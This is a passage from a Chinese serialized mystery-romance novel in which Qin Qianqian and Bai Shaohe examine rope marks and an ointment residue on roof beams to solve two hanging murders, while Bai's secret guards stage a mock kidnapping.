“不是，谁告诉你他就是好人了？他为什么不告诉我们实情，非要把妹妹的事情瞒过去呢？还有，他说梁平乐被劫持，但其实梁平乐是自己离开的，被劫持的事情根本是空穴来风。”
白邵禾也在纠结这一点，他怎么都想不明白，到底是谁说了谎。王老怪也沉默了，桌边的其他人也一言不发。
秦千千又拿起桌子上的那张画像，细细端详了起来。
“我知道他为什么看到这幅画像，那么惊惶了。一个跟母亲相依为命的人，怎么可能会害怕自己母亲的画像，除非这画像还有几分像他心中有愧之人。”
秦千千继续分析：既然李家两位少爷是同父异母，都长得颇为相似的话，那他们的母亲，或许也有相似之处。
“这个我可以证明，大少爷在聚月楼的时候，跟二少爷说过两位娘亲长相相似这个事情，就在大少爷态度大转变后。当时二少爷还狠狠骂了大少爷，说他们两个同模样不同命什么的。”
郁春儿突然想起这件事情，是因为那是她第一次看到大少爷，态度那么谦卑，所以印象深刻。
“那就对了！所以这画像上其实还藏了另一个人——李家大小姐。”
白邵禾大吃一惊，这个猜测看似荒谬，其实很有逻辑。她就这么带领着大家，一步一步推出了这个结果。
他不由得对秦千千刮目相看，不管推论正确与否，只能说她足够大胆。
“所以现在的调查方向就简单了很多吧，先不查李朗安含玉，以及梁平乐的事情，我们还是着手调查李思源身上的秘密吧。”
桑风雪这么说，也是为了不让大家再被李思源玩弄。她们的确乐于助人，可那也得看这个人配不配被她们帮助。
这话秦千千十分赞同，剩下的人自然也没有异议。大家决定别的事情明天商议，现在的当务之急还是先休养生息。
前半夜一口恶气吊着秦千千，让她精神抖擞的；把
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事情想明白后，她就一个哈欠接一个哈欠的，根本坐不住。白邵禾他们刚走没多久，她就和衣而卧，直接睡下了。
夜深时，元德假装起夜，外出跟季春霖汇合。两方一接头才知道，李朗和梁平乐的行踪，都在他们的监视之下。
这就可以让他们安心查探李思源的事情了。
得知此事的白邵禾微微颌首，暗卫总算是派上点用场。
事情按照秦千千的计划去办，每个人都有各自的任务。
首先要了解的就是，这幅画像的来历。因此，她一大早就带着桑风雪和桃花花，重访王家。
白邵禾与元德，则是去城外查探那两个荒废的宅子。目前大少爷李思清的死，以及他两位夫人的死，都没有确定死因。因此，还是要详细地查勘一番。
晏信、王老怪以及郁春儿，则是负责在城中走访，打探一些李家大小姐的蛛丝马迹。
其实原本，带郁春儿去外宅是最好的，毕竟万一她能根据现场，想起一些大少爷给她说的话是很有帮助的。可她现在太过脆弱，不是很能接受刺激。
于是，秦千千就让晏信和王老怪带她，在城中转转。跟个大夫，时不时还能帮她看看病。
秦千千她们三人虽然出门早，但一路上走的却不快。桑风雪跟桃花花都察觉出异样，问她在后面墨迹什么。
“感觉我们找不到王小姐，所以干脆去的慢些吧。”
那两个人没有问原因，既然秦千千这么说，她们就没报太大希望。结果过去一问，这才发现王小姐真的没在府上。
桃花花转头问秦千千，现在怎么办。
“无所谓，咱们找的是那个画师，跟王小姐没有什么关系。”
门口的侍卫带她们进去找邀月，邀月似乎是早就料到她们要来，就直接带她们去不远处的偏房，直接去找那个作画的画师。
邀月介绍，那人名叫安南，姓氏不详、来历不详。
“不知根知底的人，你们也敢吸纳进王家啊？”
听到桃花花的疑问，邀月忍不住笑了。天下多的是那种不愿报上姓名来历的能人，她们只管用能人，不在乎这些人是哪里来的。
“这就是我们家的规矩，才能大过其他的一切。因此，我们是不会在乎合作之人的来历的。”
说到这里，邀月意味不明地扫了三个人一眼。秦千千感觉十分莫名其妙，什么意思，说她们三个来路不明吗？
可邀月没给她们什么发脾气的时间，因为安南就在门口等她们。
“啧……”
秦千千咂么一下嘴，那人看起来像是她在京城认识的那个白面书生，柔柔弱弱，还有点书生范儿。身为她多年的婢女兼伙伴，桃花花一眼就知道她在想什么。
“又想你那窝囊废书生呢？对了，今年他又要参加科考，书呆子要是能状元及第，我把脑袋摘下来送给你。”
“谢谢，我不缺夜壶。”
秦千千戳了一下她太阳穴，朝安南走去。桑风雪忍俊不禁地勾了勾嘴角，跟了上去。只留桃花花在后面骂骂咧咧的。
51. 外宅现场查探
白邵禾与元德赶到郊外，季春霖已经在那里等候多时了。
收到消息后，他们就先一步来现场探察。现在刚好白邵禾来，他们可以直接跟白邵禾汇报情况。
“公子，虽然已经过去几个月，但现场还是……”季春霖准备分析案情，却被白邵禾抬手打断。白邵禾睨了元德一眼，元德赶忙喊人把殿下要的人带上来。
被押解上来的是黄忠和仲芷珍，就是因为这两个人破绽频频，白邵禾早就决定要惩戒一下他们两个。
行事稳重的季春霖，看到他们两个被扣押上来，立马跪地请罪。
“公子，是属下的纰漏，不该留她们两个在店中的。”季春霖心性机敏，也跟着白邵禾很久了。因此他清楚，这两个人这次怕是凶多吉少了。
“不干你的事，当时你在城外搜查姜千秋。不过你也没有想到，手下的人这么不中用吧？”白邵禾负手站在堂中，抬眼一凛看向了后面跪着的两个人。
“当时我还觉得仲芷珍聪明，知道怎么圆谎，可是你昨天去客栈门口，意欲何为？”
说到最后，白邵禾的语气都冷了下来，这让元德和季春霖都屏住了呼吸。这件事情，他们两个都不清楚。
元德单手撩袍，慌张地跪在地上。“殿下，此事属下一定明察……”
“明察什么？昨天线人不是没有上报，可你和季春霖为什么不知道？还不是因为黄忠包庇他表妹，瞒下了这事儿。”说到这里，白邵禾嗤笑一声。
徇私舞弊，是最无法让人原谅的地方。
黄忠还在一个劲儿的磕头认罪，希望白邵禾可以放过他妹妹。
季春霖双手撑地，头都不敢抬。他知道，黄忠这事儿犯了白邵禾的大忌讳，非死不能赎罪了。
仲芷珍看明白了局势，她直起腰身，决定一人做事一人当：“公子，我做了错事，不必牵连我哥哥。我但求一死，求公子放过我哥哥。”
白邵禾讶异地开口：“谁说要你们死了？我只是想告诉你们，这种事情不能再犯了，仅此而已。”
元德和季春霖听到这话，不约而同地抬头看向白邵禾。
他表情认真，言辞恳切。
在季春霖长处一口气的时候，元德却在心中给这两个人宣判了死刑。
元德清楚，白邵禾这是准备秋后算账了。毕竟现在处决了她们两个，秦千千要是突发奇想杀去银饰店，他们去哪里找黄忠和仲芷珍。
现在看来，秦千千她们从枫林镇启程之日，就是这兄妹俩送命之时。可黄忠和仲芷珍却以为这事儿就算过去了，赶忙磕头谢恩，白邵禾让他们先回去了。
“季春霖，继续分析你在这里查的结果。”白邵禾朝元德抬了一下头，元德立马起身，扶起季春霖。他们两个跟在四处闲逛的白邵禾身后，谨小慎微。
当时尸体的情况，只能通过案卷里的记载，窥知一二。可问题是现在不能越过秦千千，惊动官府。这枫林镇是个牵一发而动全身的地界，因此季春霖只能尽量在现场探察蛛丝马迹。
凶杀案件虽然已经过去了半年，但现场也不是毫无踪迹可循。结合周边人的口风，和季春霖的现场查探，他得出了一些结论。
首先两位妇人全都是吊死的，这是很多人有目共睹的事情。可与普通上吊自杀不同，她们两个都是被挂在高高的主梁上。那个高度，绝非一般人能挂上去的。
季春霖在两个宅子的主梁上，发现了同样的劈砍痕迹。刀口劈砍后的缺口一般很不规整，可那两条刀口凹槽中却平滑很多。
因此他猜测，那是凶手选了特定的位置，用来固定绳子位置的刀口。而死者被挂上去的时候，显然没有死透，来回挣扎的时候，绳子磨平了刀口处的毛刺。
“据我们走访出来的情况，李思清完全不会武功，所以他爬上主梁都难，更别说还要把人吊上去什么的。”季春霖抬头看了一下主梁，确认当时的死者，应该就挂在这里。
白邵禾看着头顶六人高的主梁，心生不解。也就是说，同一个人杀了李思清的两任妻子，还都用同样的方式，把尸体吊了起来。
显然凶手是冲着李思清来的，可既然恐吓他，为什么要对位置，要求的那么刻意。
白邵禾觉得，那不是平白无故选的位置，于是让元德上去，把主梁长度和刀口位置，全都记下来。
不一会儿，第二个宅子的详细情况也送了过来。
白邵禾拿着两张纸比对，虽然两根横梁长度不一，但所处的相对位置，却是一模一样。
他用指节测量距离，发现若是将主梁分作十二节，划分作一天的十二个时辰，那悬挂死者的地方，正好就是卯正时分。
可仅凭一个时辰，他们还是什么都推不出来。白邵禾把纸张递给元德，让他收好。这些东西，回去得给秦千千过目。
“走吧元德，我们去官府找案卷。”
而季春霖接到了下一个任务，去撬开出逃三个人的嘴。白邵禾说，他要马上知道发生了什么事情。
临走前，元德还交代季春霖，找个抢劫山匪什么借口都行，千万不能暴露身份，千万不能让李朗他们察觉到什么异样。
白邵禾两人刚到官府，就被门口的衙役挡住了去路。那衙役本来在打盹，可看到有人上前，立马呵止他们。
“你们来这里干什么？哪个地界的事情，就去找哪家人去处理。去去去！”
白邵禾微有怒色，刚进枫林镇的时候就听说，这里的官府形同虚设。现在竟然都不让百姓进官府吗？这还有没有王法！
“死人了你们也不管吗？”元德瞪着那人，恶狠狠地质问他。那衙役十分不屑，甚至还打了个哈欠，他指着远处正准备说什么，却被一个人打断了。
“哎！你们怎么在这里？”秦千千她们刚从王家出来，正准备去城外找他们，结果在这里门可罗雀的衙门前碰到了。
白邵禾走了过来，跟她说：“那边查不到多少线索，所以我们想来衙门看看，能不能借阅一下案卷。”
那衙役耳朵机灵，他直接跟大声朝这边嚷嚷：“案卷不在县衙，你们去张家问吧！
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所有案卷都在张家呢。”
去往张家的路上，白邵禾一言不发，秦千千转头看他表情那么难看，就问他怎么了。
“难不成是在担心，张家不给我们看案卷？”秦千千有意逗他开心，白邵禾也察觉出来了。
“不是因为那个，只是突然觉得这里的官府，真的一点都不作为。案卷那么重要的东西，居然会放权给别的……”
言多必失这个事情，白邵禾暂时忘记了。身后的元德提心吊胆的，可他又没有理由开口提醒。情急之下，他只能抬脚绊了一下桃花花。
“哎呦嘿！”桃花花往前面倒去，桑风雪抬手抓住她后颈的衣服，把她扥直了，还叮嘱她：“桃花，走路小心些。”
秦千千转头嫌弃地看了看桃花花：“就这你还想把头输给我，实不相瞒，你走路的时候，我都能听到你脑子里的水在晃荡了。”
“秦千千！”
眼看这俩人又要争执起来，一旁的元德在旁边松了口气，还好没让殿下继续往下说。
桑风雪按住桃花花，告诫她现在还是正事儿比较重要。秦千千这才得空，继续跟白邵禾聊了起来。
“对了，我们刚才说到哪里了？”
白邵禾刚刚已经察觉到自己失言，好在有个补救的机会。“说到我们去外宅查看，其实还是有一点点收获的。”
听他说完外宅的事情，秦千千端详那两张主梁图，不由得啧啧称奇。“卯正时分，这看来是个很关键的时间点啊。不过现在想不出什么所以然来，那就赶紧去看看案卷吧。”
到了张家以后，她们可是座上宾。张沛儿直接让人把案卷送来，双手奉上。
秦千千正准备翻看案卷，张沛儿却面带笑容看着她。只不过看久了那笑容，总让人觉得有些害怕。桃花花打了个寒颤，立马把目光转向别处。
“秦老板既然来了，要不要去拜见一下我们家老太太？”
看她这架势，秦千千也不是太好意思说不去，她只好把案卷递给身边的白邵禾。
“那你们先看着，我去去就回。”
可谁知道明明是去礼佛祠的方向，礼佛祠也就在眼前，张沛儿却从后面一把捂住她的嘴，把她带向了另一个地方。
秦千千不相信她会害自己，她只是在想，张沛儿到底要干什么。两个人走进一间杂乱无章的柴房，张沛儿这才松开她，回身去关门。
“张小姐，我不明白你这是干什么。”
“不管你要多少钱，我都出。你告诉我，老太太到底跟你说了些什么。还有，那礼佛祠里究竟有什么？”
张沛儿死死盯住秦千千，她的眼神十分急躁不安，可惜这笔生意，秦千千不做。
“张小姐，你不懂我做生意的规矩，你说的这种揭短事情，我们可不做。”
搞不好就要惹祸上身，这不符合清风酒楼避事的原则。更何况，现在看来，张沛儿是以为自己掌握张家大权了，但其实她并没有。
因为她一个黄毛丫头，得罪张家主家，这生意一点都不划算。
52. 再会张老太
不过她这个冒失的举动，倒是解开了秦千千心中的一个疑惑。
秦千千之前不明白，为什么要王予月百般推举后，张家老太太才决定让张沛儿做她的下一代掌事人。现在看来，一切都明了了。
这张沛儿手段还是太嫩了。有王予月保举，她一定是张家话事人，为什么现在要急于一时，而暴露自己的野心呢？
“张小姐，我只有一句话可以告诉你，这张家未来是你的，不代表现在是你的。静观其变吧，不然，小心惹火上身。”
说罢，秦千千就去礼佛祠了。到了张家，还是要拜见一下老太太的。
似乎是知道她要来，秦千千去礼佛祠的路上，没有遇到一点阻拦。她刚推开门，张婧慈就朝她摆摆手，递给她三炷香。
秦千千快走两步，接过那线香。
“其实，你告诉她也无妨。于你而言，那可是一桩稳赚不赔的生意啊。”张婧慈看着她说道。
秦千千双手捏住香，弯腰拜了三拜，把香插进香炉后，才回答张婧慈的问题。
“老太太，您错了，这对我是稳赔不赚的生意。”
张婧慈是个聪明人，她立马品出话中的意思。
也是，她们若是做靠出卖一个客人隐私换钱的生意，那以后还有谁敢找她做买卖。干她们这一行，最重要的应该是有所为、有所不为。
这话听得张婧慈也颇为感慨，她长叹一口气：“不说我们张家接班人有你的才能了，哪怕只有王家小姐的一半，我死也瞑目了。”
秦千千没有接这句话，反倒是说起别的事情。
“老太太，我其实是不信神佛的，那你知道我刚刚在神佛面前，祈求了什么吗？”
知道的越多，秦千千就越不相信，这世上存在有求必应、救苦救难的佛祖菩萨。而她的这个观点，也是受漂泊在外的姜千秋影响才形成的。
这也就是姜千秋游历江湖的原因：与其等待上天神罚，不如尽自己所能，惩奸除恶。
知道这个原委前，秦千千是很不愿意让主人在外漂泊的。想起这里，她就跟张婧慈说起当年的事情。
“当年主人要走，我哭的很狼狈，因为跟她一别，就不知道什么时候能见到了。虽说总会再见，但我真的不想她走。就是那次，她跟我说了，她要做天道，惩戒那些作恶的人。”
乍一听跟张婧慈没有任何关系，但张婧慈明白，秦千千其实还是在说自己。她的意思是，张婧慈既然靠自己屠戮仇敌，那就不该再供奉什么神佛。
张婧慈对此其实是深有体会的，当年她求助无门的时候，神佛也没有对她施以援手，对恶人降下天罚。万分绝望中，她才决定自己为自己复仇。
因此，她供奉的不是神佛，是她自己。她认为，这世间只有她自己知道这个秘密，可现在看来，并非如此。
“所以你刚刚神佛面前祈求什么？”张婧慈知道，她参透了自己的秘密。
张婧慈想问的其实是：你想跟我说什么。
秦千千又怎会点破其中奥义，她抬头看着佛像，安然开口：“希望菩萨早日苦海自渡，不再为尘世忧愁。”
张婧慈眼神晦暗不明，秦千千也不愿意多去考究，言尽于此，她多说无益。秦千千朝老太太鞠躬作揖，而后离去。
张婧慈在心中嘀咕，难道真的要给应宏义一个痛快，也算是给曾经屈辱的自己，一个了结吗？
而且姜千秋给的取神丹，也就用完了。也就是说，她没办法再吊着应宏义这种半死不活、却又神识清醒的状态了。
走到一半的秦千千去而复返，她察觉自己的话有可能让她误解，于是赶忙回来解释。
“老太太，我可不是让你直接杀了应宏义啊！我的意思是说，你应该在心里过去这个坎了，至于他这种作恶多端的人，你再折磨他个百八十年，我都没意见。”
她从怀中掏出一瓶丹药，递给张婧慈。
“这一趟，也是为了给您送取神丹的。”
办完这边的事儿后，秦千千长出了一口气。
果然自己不适合跟主人一样让人猜谜，亏她昨天费了好半天，想出来的那两句苦海自渡的话，结果这张婧慈差点没听懂……
【苦海求佛佛不渡，盛世安然然囚心】
困难的时候，神佛没有帮忙；事情终于过去后，然而那人却囚禁着自己的心。
这两句话，是主人写给秦千千的。秦千千一眼就发现，这说的是张家老太太，于是想着早晚得找机会跟她聊聊。
现在终于了结主人的心愿，秦千千就赶忙往前厅赶。
之前张沛儿还神采飞扬的，现在看着有些心不在焉。发现秦千千回来后，她就跟秦千千交代，案卷可以带回去慢慢查看。
一行人回到客栈后，直接上楼分析起了案卷。
在秦千千被叫走的那段时间，白邵禾已经翻看完了案卷。大体情况他已经了解，于是在秦千千接手案卷，逐字斟酌的时候，他在屋中来回踱步，思考案件的前因后果。
“两位夫人浑身都是伤口……经仵作验尸……皆是利刃划伤……像仿制荆棘划伤……”
秦千千一字一句读出来，还时不时皱眉沉思，读到这里的时候，她有些不解。
看着仵作的验尸结果，他写的是死者在昏迷状态下，被凶手吊在主梁上，划砍造成的伤口。
“可若真是这样，我们姑且认为凶手是把她吊在梁上，然后用轻功在她身上划的这些伤口。但是刀刀精确如此，连深度都一样，甚至连胳膊内侧都有刀伤，这是不是有点太难以办到了？”
秦千千说完，就看着在座唯二会武功的桑风雪和白邵禾。想听她们给自己说明，这个行为到底可不可能。
桑风雪沉默着摇摇头，“控制劈砍没办法控制摆动幅度，所以下刀不可能控制的那么统一的。”
她的疑惑，跟白邵禾所纠结的地方不谋而合。不过回客栈的路上，白邵禾都在思考这个问题，终于给他想出了一种处理方法。不过他需要去现场验证一下，才能得出结论。
“还记得我跟你们说，那个主梁上的刀口是非常平整的吗？我本以为那是死者在垂死挣扎时磨平的，现在看来
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并不是那个样子。”
他看了一眼秦千千，继续分析：或许是凶手只把死者吊起来，刚刚好够她双脚能落地的高度，然后在全身划砍后，再用绳子把死者拉高。或许只有这样，足够长的绳子，才能磨平刀口。
但还有一个问题，那就是被吊在固定高度挣扎，真的可以磨平刀口吗？
“这得我们去现场试一试，才知道可能与否了。”
秦千千她们都觉得白邵禾这个分析有道理，于是她们马不停蹄地去外宅，准备试上一试。
沿途元德按照案卷中记载，在指定的地方买了四五捆麻绳，随便买了个砍刀。他还在秦千千的要求下，买了一大麻袋黄豆。
“千千，你买黄豆干嘛？”桃花花疑惑不解。
“笨呐！难不成我们真吊死个人在上面，当然是栓住挂梁上的嘛！”
秦千千本想戳她的脑袋，结果被她躲开了。桃花花赶紧拉过桑风雪，让她站在自己和秦千千中间。白邵禾对此不置可否，他只知道，待会儿肯定要吊上去一个人的。
不然，怎么来试，垂死挣扎会不会磨平刀口呢？黄豆又不会挣扎。
黄豆的升降测试十分顺利，跳上去查探的桑风雪，纵身一跃轻盈落地。
“这麻绳甚至不需要一趟，就可以把刀口磨平了。更何况，元德还是一口气拉上去的。要是没有那么健硕的人，会拉着麻绳上下反复，那样会磨的更加光滑。更何况，现在的刀口已经比凶手的平滑了。”
众人纷纷点头，桑风雪抬头看着主梁皱眉深思，桃花花随手翻着手里的案卷，不知道在想什么。而白邵禾与元德，则是看向了秦千千。
秦千千左手端着右手肘，右手捏着下巴，抿着嘴连连点头：“那就好办了！接下来，就是再砍一道，再试试挣扎行不行了吧？”
白邵禾点头，这不是重点，重点是让谁上去呢？他一脸无知地看着秦千千，秦千千顿时神色大变。
坏了，这能选谁？只有桃花花了吧。
主要是她也不敢提议吊桑姐姐，根据欺软怕硬规则，秦千千只能选桃花花。可桃花花拒绝的异常坚定，甚至颇有要撒泼打滚的架势。
白邵禾在心中叹气，秦千千总是多此一举。她既然能推测案情，可怎么就不能推测出，欺负桃花花这条路，绝对是走不通的呢？
就这样，最后还是秦千千被麻绳拴住腰肢，被下面的元德给拉着绳子揪了上去。再次上梁的桑风雪，在她被吊一半的时候，就喊了停。
“现在这个磨损程度，已经跟凶手的痕迹一样了。”
“噗……，千千，你居然比那袋儿黄豆还重哎！”桃花花仗着秦千千现在揍不到她，在下面可劲儿笑话她。
这下没办法，秦千千也不是公报私仇，眼下只能把比她轻的桃花花吊上去。虽然，的确为秦千千出了口恶气。
谁知道吊到一半，桑风雪还是摇了摇头，已经足够平滑了。这下所有人都笑不出来了，唯独秦千千除外。
“那就索性拉到顶，元德。”秦千千发誓，这句话，才是她真正的公报私仇。
53. 桑风雪心中的武功排名
现在的情况让众人都陷入了沉默，原本以为光滑的刀口是破案的关键点，现在看来，反倒成了一个绊脚石。
白邵禾他们后来又只放了半袋黄豆试了试，结果一拉到底还是发现刀口比凶手留下的光滑。再三测试后，虽然很不想承认，但白邵禾还是不得不跟秦千千说起结果。
“只有拉起一半时，那粗糙度才跟凶手留下的别无二致。也就是说，凶手不可能是一气呵成，直接拉上去的。不管他拉的方式如何，我们都获得了一条重要的线索。”
白邵禾边踱步边分析，原本他是想通过刀口，推断出凶手更多的信息，可现在显然推测不出来多余的线索。那就回到最初的起点，得出最简单的结论。
“凶手会武功，但不是高手。他最擅长的，是刀或匕首那样的武器。”
深度相同的伤口，不是一般人能做到的，最起码说明，凶手是个玩刀的行家。至于把人吊在主梁上，没有一点武功的人，上都上不去。
一旁的秦千千跟着感叹，她是一点武功都没有，不然她高低得上去查看一下情况。听到她这感慨，白邵禾面不改色地提议，他可以带秦千千上去。
“不过，上去你可别乱动，那地方你站不稳我怕你掉下来。”
秦千千一口答应，于是白邵禾就揽住她的腰，让秦千千双手环在他的腰际，就这么带她跳了上去。
桃花花眼看白邵禾先是踩到椅子上，而后借力踏上博物架；再后来是脚尖轻点两人高的屏风，最后像是嫦娥奔月似的向前飞，带着秦千千稳稳落在五人高主梁上。
整个过程一气呵成，看得她是目瞪口呆的。白邵禾就这样在屋里转了半圈，就带着人上去了！
桃花花转头看向那做工精美，甚至可以说是薄如蝉翼的屏风扇面。好奇地过去晃了晃，看着摇摇晃晃的屏风，桃花花不由得心中感慨。
“那屏风也没有固定在地上啊，怎么白邵禾一脚踩上屏风，那屏风都没有动弹的。高手，他果然是个高手！”
桑风雪深色凝重地看着秦千千：“千千，千万要小心。”
而桑风雪心中对白邵禾的实力，又多了一分好奇。刚刚那行云流水的动作，桑风雪认为自己一个人做得出来。可再带上秦千千，她觉得自己做不到。
桑风雪心中一直有个武力值排行，在她看来，自己的武功强于晏信元德，稍逊色于白邵禾。至于晏信和元德，怕是元德的武功要更高一些。
现在看来，她和白邵禾的差距，似乎比自己想象的还要大一些。
上面的空间比秦千千想象中大，她缓缓松开揽着白邵禾的腰。但目光一偏，看到离地面多高后，她还是一秒慌了。慌乱中，她抓住了白邵禾的手。
白邵禾时刻关注着她，发现她身体十分僵硬，就紧紧攥住她的手，轻声安慰她：“放心，我陪着你呢。”
秦千千小幅度地点头，待她长呼两口气后，这才开始缓缓蹲了下去。秦千千在心中安慰自己，再不济就是掉下去，下面有桑姐姐和元德，她就不信两个人接不住她。
许是突然想起还牵着的手，秦千千转头看向白邵禾，他为了配合秦千千的动作，早就往前弯下了腰。
秦千千已经适应了一会儿，再加上蹲下就不太看得到下面，她就缓缓松开自己的左手。
“没事，你……，”她抬头的幅度太大，整个人往后面歪了一下，这下把白邵禾也吓了一跳。他飞快地攥紧秦千千的手，朝她摇了摇头.
“我没事，你还是就这样查看吧。”
秦千千不再说什么，连忙低头看起脚边一个又一个的刀痕。她一边查看，一边用手触摸那些凹凸不平的刀口。可没举一会儿胳膊，她的左手就酸的不行。
察觉到秦千千再度松开手，白邵禾不解地看着她。
“我胳膊酸了，你松手吧，你也能直起腰歇歇。没事，我这样就行。”
为了配合她，白邵禾全程微微弯腰，秦千千松开手后，他才直起了身子。
在他还没搞懂，秦千千的“这样”是哪样时，秦千千就上手抓住了他长袍的衣角。还没等他说什么，秦千千就继续低头研究刀痕去了。
底下等着的三个人，桑风雪和元德大气都不敢出，她们担心秦千千，只能用眼神交流。两个人都愁眉不展的，桃花花左看右看，看不懂她们的眼神，着急的不行。
“哎呀！你们有什么就说嘛，这么眉来眼去的是要干什么！”
这一嗓子把秦千千吓了一跳，她歪头朝下面吼：“桃花，你是皮痒了是吧，你等我下去非得揍你一顿不可。”
桃花花还想反驳什么，却被桑风雪按住了。桑风雪不想她影响秦千千，于是只能捂住她的嘴，让秦千千继续做事。
秦千千手在刀口摸了摸，总觉得上面有什么东西。于是她把指尖放在鼻子下面闻了闻，可是一点气味都没有。于是她慢慢起身走了过去，然后示意白邵禾跟她一样蹲下。
两个人头对头，秦千千才指给他看。
“你看凶手的刀口，是不是沁了什么东西？我刚刚摸了摸，但闻不出一点味道。”说着，秦千千让他闻自己的手，白邵禾果然没有闻到任何异味。
他用指腹碾过秦千千的指尖，在自己手上捻了捻，那是一种细腻又光滑、还有一点点黏性的不明物。白邵禾总觉得熟悉，他低眸沉思。
想起来了！之前穆琼怡，也就是当今公主用的焕颜膏，就是这种类似的手感。这种焕颜膏抹在脸上，会让皮肤十分顺滑。
只不过唯一不同的是，穆琼怡的焕颜膏有奇特的香气。当时他的手轻轻划过公主的脸颊，就被沾染上了好大的花香，害得他反复濯洗了好几次手。
可白邵禾不知道，这皇宫中的东西，在宫外是否有流传，于是只能折中描述给秦千千。
“这是不是女人用的某种润肤的东西。看着像是膏状，但不似大荤大腥的油腻之感。所以我猜测，是不是滋养皮肤的东西？”
在他的点拨下，秦千千恍然大悟，的确有可能。她赶忙指挥元德，去后院的寝房中看看，梳妆台上有没有那种无香的胭脂膏。
蹲一会儿秦千千腿麻了，她就扶着膝盖站起来，可起身起了一半，她就发现白邵禾身后有什么东西在微微反光。
白邵禾过去查看，发现那是几条绳子摩擦的痕迹，不过留下的不是划痕，而是那种膏体的印子。而秦千千往自己身后查探，
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在主梁末端的一个阴暗处，发现了一个手印。
半年的风尘覆盖，让那个落满灰尘的手印有些明显，但在昏暗的角落，不仔细看，还真发现不了。
更何况，那手印还在主梁的侧边，不歪着头看，根本看不到。
元德去而复返，告诉上面的两个人，他的确发现了一盒未使用过的白玉膏。说着，就把手中掌心大小的陶瓷罐展示给白邵禾与秦千千看。
“没有香味，而且质地柔滑，不知道是不是你们想找的？”
白邵禾揽着秦千千跳下来，稳稳落地后，秦千千这才长出了一口气。白邵禾仔细观察后，确定这就是上面柱子上的东西。秦千千也跟她们说，上面有个手印，让人上去把它画下来。
这个元德在行，他上去没一会就把那手印原封不动地画了下来。白邵禾与秦千千也基本敲定，这就是梁上的那些东西。
那眼下就要去查查，这到底是什么。
“千千，这种脂粉类的东西，恐怕要你们女孩儿去查了。”白邵禾把东西递给秦千千，她转手就把那瓷罐递给桃花花。
秦千千打发桃花花和桑风雪去查这个线索，她想要留下来再详细查看一下现场。而且还有一座外宅没去，指不定那里，她也能有所发现。
孰轻孰重，桃花花还是分辨得了的，于是她跟桑风雪一同离开。两个走出百步，桑风雪才深深回望一眼，她总觉得心里不踏实。
“桃花，我们快去快回吧。”
好在枫林镇的商铺规整，铺面的位置都是一成不变的。
桑风雪和桃花花一路打听过去，先是把张家地盘上的脂粉店盘问了个遍，她们却说这里没有这个款式，甚至也不愿意透露这到底是在哪家地盘售出的。
鉴于王家的地盘太大，桑风雪她们决定先去李家的街市，结果在第一家店，就问到了线索。
“哎呦二位，这白玉膏可是我们店的镇店之宝，你们这罐怎么了？是要再买，还是有问题要退呢？”
眼前看起来就猴精，却又形销骨立的一位中年人，凑过来问她们怎么了。他身上散发出一股浓到呛鼻子的香气，熏得桃花花往后退一步。桑风雪的眉头也紧锁起来，十分警惕地打量着这人。
“你们这个白玉膏卖的怎么样？只有你们一家店卖，还是别的地方也能买到？你帮我看看，这一罐，是从你家卖出来的吗？”
桑风雪丝毫不含糊，直接问出几个问题。人情世故这方面，她的确不如桃花花。毕竟她行走江湖，不需要人情世故，她能直接把人情世故都打服。
桃花花看着那干瘦又警惕的人，立马找补两句。
“我们家主人让丫鬟买的，可是主人非说这是赝品，所以你快点给看看，我要给我家主人一个说法的。”
听罢，那人神情才放松下来。
“姑娘早说啊，这我可以跟你发誓，这绝对不是赝品！现在这白玉膏十文钱一罐，谁有空做这个赝品去啊，赚的不够赔得多！”
也就是这人说，她们两个才知道，正是由于白玉膏大幅降价，才致使现在这白玉膏供不应求，几乎是烂大街的存在。
这消息对于案件来说，无疑是雪上加霜了。
54. 掌柜的被挟持
白邵禾与元德被秦千千留在前堂，她说自己要去后院走走。她走后，元德踌躇地询问殿下，是不是真的要那么做？
白邵禾无声点头，平时桑风雪寸步不离地保护着她，而那个王老怪无疑也是来保护她的人。现在倒好，她把两个人都支开了，此时不找人逼问她线索，更待何时。
得到指令后的元德，朝门外挥手，立马出现三个蒙面人朝后院赶去。为首的人一手刃砍晕了秦千千，在她倒地之前把她扛在肩上，三个蒙面人直奔约定好的地方。
屋中的白邵禾正端坐在位置上，闭目养神。他原本的计划是绝不露面。虽说秦千千被捆住手脚、蒙蔽双眼，但他要确保万无一失，因此不出现在现场才是上上策。
至于元德，也被他勒令不许去。纵使元德掌握更多审讯手段，白邵禾也不准他露面。
可世事难料，他们两个在屋中歇息的时候，仲芷珍跑了过来。白邵禾看得出她一路奔波，头发都跑乱了，可她又再度出现在他眼前，实在让他颇为不爽。
但他没有立即发作，只是问她有什么急事。
“公子，我在街市卖东西的时候，看到桑风雪和桃花花进了李家的胭脂铺。而后不久，就有个小厮从后门跑去李府，再后来我就看到李家少爷气急败坏地出府，边走还边训斥那小厮，让他们抓住那两个姑娘。”
仲芷珍来不及行礼，赶忙把话条理清晰地说给白邵禾听。她原以为白邵禾会赶忙去救人的，谁知道他泰然自若地看着自己，语气平淡地说他知道了。
桑风雪和桃花花那里，他不是不担心，不过眼下秦千千那边的事情比较重要，这就决定了，他必须留守在这里。而且桑风雪她们被捉，对自己来说未必是坏事。
多方原因作用下，白邵禾只能对桑风雪那边的事情无动于衷。
哑然失语的仲芷珍怔在原地，元德赶忙开口催促她离开。这次她又是先斩后奏的，依旧越过了她哥哥黄忠和季春霖。
若是在朝堂之上，她这就是赤裸裸的僭越。为了不让她再次惹恼殿下，元德只好赶忙催促她离开。仲芷珍刚走到门口，就遇到了迎面赶来的季春霖。
季春霖心下一惊，她怎么又来白邵禾这里露面了？但事急从权，他得先去屋里汇报。
“什么？有人要去劫持她，那她现在人呢？”白邵禾咬牙问他。总不能做个假绑架的局，却被别人借了东风，真把秦千千绑走了吧？
季春霖赶忙抬头：“公子放心，人我们已经转移了，而且还生擒了两个贼人。现在就是来请示一下，您要不要过去看看。”
白邵禾这下真是怒不可遏了，他让季春霖带路，要火速赶过去。三人行动太快，让躲在大门口的仲芷珍来不及撤退，被他们撞了个正着。
看他眼中盛满怒火，仲芷珍赶忙跪地认错，白邵禾没空收拾她，瞥了她一眼就起身离开了。元德和季春霖谁都不敢多言，只能默默跟在白邵禾身后。
暗卫在枫林镇外有三个营地，鉴于镇里人员把控森严，稍有不慎就会暴露队伍。因此城中的暗卫都是形单影只的，要沟通联络也都在城外进行。
黄忠和仲芷珍成为暗卫眼线，纯属意外。黄忠时不时会去山野中寻觅天材地宝，那日刚好撞见驻地于此的暗卫。
季春霖当时给了他两条路走，一是做他们的线人；二是直接去死。
